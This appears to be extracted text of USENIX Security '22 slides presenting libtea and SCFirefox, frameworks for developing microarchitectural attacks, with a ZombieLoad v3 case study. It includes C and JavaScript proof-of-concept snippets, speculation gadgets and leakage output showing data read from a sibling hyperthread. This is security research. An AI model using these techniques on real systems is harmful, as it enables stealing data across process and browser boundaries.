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Motivation

#define pointer_chaser

*(( uintptr_t *) ********( uintptr_t ********) chase_me [8])

#define speculation_end(label)

asm goto("jmp %l0" : : : "memory" : label);

label## _retp: asm goto("lea %l0(%%rip), %%rax\nmovq %%rax ,(%% rsp)\nret\n" : :

: "memory", "rax" : label);

label: asm volatile("nop");

// try to get JIT to use shl instead of imul

index = ((( index << 12)|0) & (32*1024*1024 -1))|0;

// try to trigger collision in PHT

if(temp [0] < 1024) temp [0] ^= arg;

if(temp [0] < 1024) temp [0] ^= arg;

// repeat *100( ish)

1 USENIX Security ’22 Catherine Easdon (7@cat easdon) — Dynatrace Research & TU Graz



Motivation

• Microarchitectural attacks are complex to implement

• This slows progress in attack research and is a barrier to

entry

• It makes teaching microarchitectural security challenging

• It increases the risk that attack mitigations are incomplete
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Motivation

• What does the attack development process look like in these

three contexts: research, teaching, and mitigation?

• How similar are they?

• Could we facilitate the development process for all three?

3 USENIX Security ’22 Catherine Easdon (7@cat easdon) — Dynatrace Research & TU Graz



Motivation

• What does the attack development process look like in these

three contexts: research, teaching, and mitigation?

• How similar are they?

• Could we facilitate the development process for all three?

3 USENIX Security ’22 Catherine Easdon (7@cat easdon) — Dynatrace Research & TU Graz



Motivation

• What does the attack development process look like in these

three contexts: research, teaching, and mitigation?

• How similar are they?

• Could we facilitate the development process for all three?

3 USENIX Security ’22 Catherine Easdon (7@cat easdon) — Dynatrace Research & TU Graz



Systematization



Methodology

Literature

Review

All top 4 papers

2015-20

Expert

Interviews

8 academia

8 industry

User

Study

28 graduate

students
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Research Topics

Attack Building

Blocks

Microarchitectural

Control

Languages and

Tooling

Development

Process
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Key Insights

• Evolutionary prototyping (5/10 interviewees) vs. throwaway

prototyping

• Always begin in C/ASM for maximum control

• Custom drivers or a custom OS often required for privileged

building blocks

• PoCs can be powerful communication tools, but complexity

makes them less effective
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Frameworks



libtea

Cross-platform attack development API

• 142 functions for common attack building blocks

• Linux, Windows, Android (x86, AArch64, limited PPC64)

• Single C header with supporting kernel driver

• Builds upon the PTEditor and SGX-Step frameworks
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SCFirefox

• Provides libtea cache and paging functions in JS

• Available in the Spidermonkey shell and directly in the

browser

• Limitation: overhead from the JSAPI wrapper
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Rapid Prototyping

Hypothesis libtea SCFirefox Attack PoC
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Case Study: Zombieload.js



ZombieLoad

• Sample data from the line fill buffers [Sch+19b]

• Triggered by a ‘zombie load’ that faults and triggers a

microcode assist

• Data is transiently returned - but not the data we tried to

access!
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CPU Microarchitecture

[Sch19]
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Case Study: zombieload.js

For ZombieLoad variant 3, we need four building blocks:

1. Two mappings for the same physical address

2. Accessed bit cleared on one mapping to trigger a microcode

assist

3. A way to flush the other mapping at the same time

4. A way to transiently encode and recover the leaked data
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ZombieLoad v3 with libtea

libtea_instance* instance = libtea_init (); libtea_pin_to_core (0,3);

libtea_calibrate_flush_reload(instance);

char* map1 = libtea_open_shared_memory (4096 , NULL); memset(map1 , "1", 4096);

char* map2 = libtea_remap_address(instance , (size_t) map1 , LIBTEA_PAGE , 4096,

LIBTEA_READ_WRITE , true);

libtea_clear_addr_page_bit(instance , map2 , 0, LIBTEA_PAGE_BIT_ACCESSED);

while (true) {

libtea_flush(map1);

libtea_speculation_start(spec);

libtea_access (0);

libtea_cache_encode(instance , map2 [0]*4096);

libtea_speculation_end(spec);

libtea_cache_decode_histogram_iteration(instance ,true ,true ,0,"A","Z",hist);

}
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ZombieLoad v3 with libtea

libtea_page_entry p = libtea_resolve_addr(instance ,

map1 , 0);

libtea_print_page_entry(p.pte);

libtea_page_entry p2 = libtea_resolve_addr(instance ,

map2 , 0);

libtea_print_page_entry(p2.pte);

+--+----------+-+-+-+-+-+-+-+-+--+--+-+-+-+

|NX| PFN |H|?|?|?|G|S|D|A|UC|WT|U|W|P|

| 1| 0x30113d |1|0|0|0|0|0|1|1| 0| 0|1|1|1|

+--+----------+-+-+-+-+-+-+-+-+--+--+-+-+-+

+--+----------+-+-+-+-+-+-+-+-+--+--+-+-+-+

|NX| PFN |H|?|?|?|G|S|D|A|UC|WT|U|W|P|

| 1| 0x30113d |1|0|0|1|0|0|0|0| 0| 0|1|1|1|

+--+----------+-+-+-+-+-+-+-+-+--+--+-+-+-+

Leakage! We see that the sibling

hyperthread (core 7) is loading ‘X’.
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Prototyping with libtea

• Memory deduplication provides shared mappings and clears

the accessed bit for us ✓

• Can we leak without a flush?

Discovery

clflush is not needed - a speculative access of map1

induces a cache-line conflict, making ZombieLoad feasible in

a sandbox �
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Prototyping with SCFirefox

SCFirefox.init();

SCFirefox.pin_to_core (3);

SCFirefox.calibrate_flush_reload ();

SCFirefox.scfirefox_memset(map1 , ’0’,

4096);

var map1 = SCFirefox.open_shared_memory

(4096);

var map2 = (map1 , 4096, SCFirefox.

PROT_WRITE);

SCFirefox.clear_addr_page_bit(SCFirefox

.get_virtual_addr(map2), 0,

SCFirefox.PAGE_BIT_ACCESSED);

• SCFirefox lets us quickly port our

native code and begin replacing each

building block

• But JSAPI overhead means core
attack code must still be in pure
JS/WASM

• Spectre v1 gadget

• WASM timer thread

• Evict+Reload covert channel
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Attack PoC

• Attack scenario: trick victim into opening a link and reading

or leaving the tab idle for > 5 minutes

• Leak 1.48 B/s with 88.8% accuracy

• Comparable to RIDL PoC (1B/s) [Sch+19a]

• But: need to reliably be on the same core
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Summary

• First step towards establishing a methodology and tooling

for microarchitectural attack development

• Facilitate attack development and communication by

tackling PoC complexity

• libtea and SCFirefox are available on Github at

https://github.com/libtea/frameworks -

contributions welcomed!
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Any questions?



Acknowledgements

We would like to thank Martin Deixelberger, Moritz Lipp, Claudio Canella, Jo van

Bulck, Christopher Fletcher, our expert interviewees, and our user study participants

for their contributions to this project.

This work was supported by generous gifts from Red Hat, Arm, Amazon, and

Cloudflare. All research findings and opinions are those of the authors and do not

necessarily reflect the views of the funding parties or of the authors’ affiliations.

SCFirefox is not officially associated with Mozilla or its products.

19 USENIX Security ’22 Catherine Easdon (7@cat easdon) — Dynatrace Research & TU Graz



References
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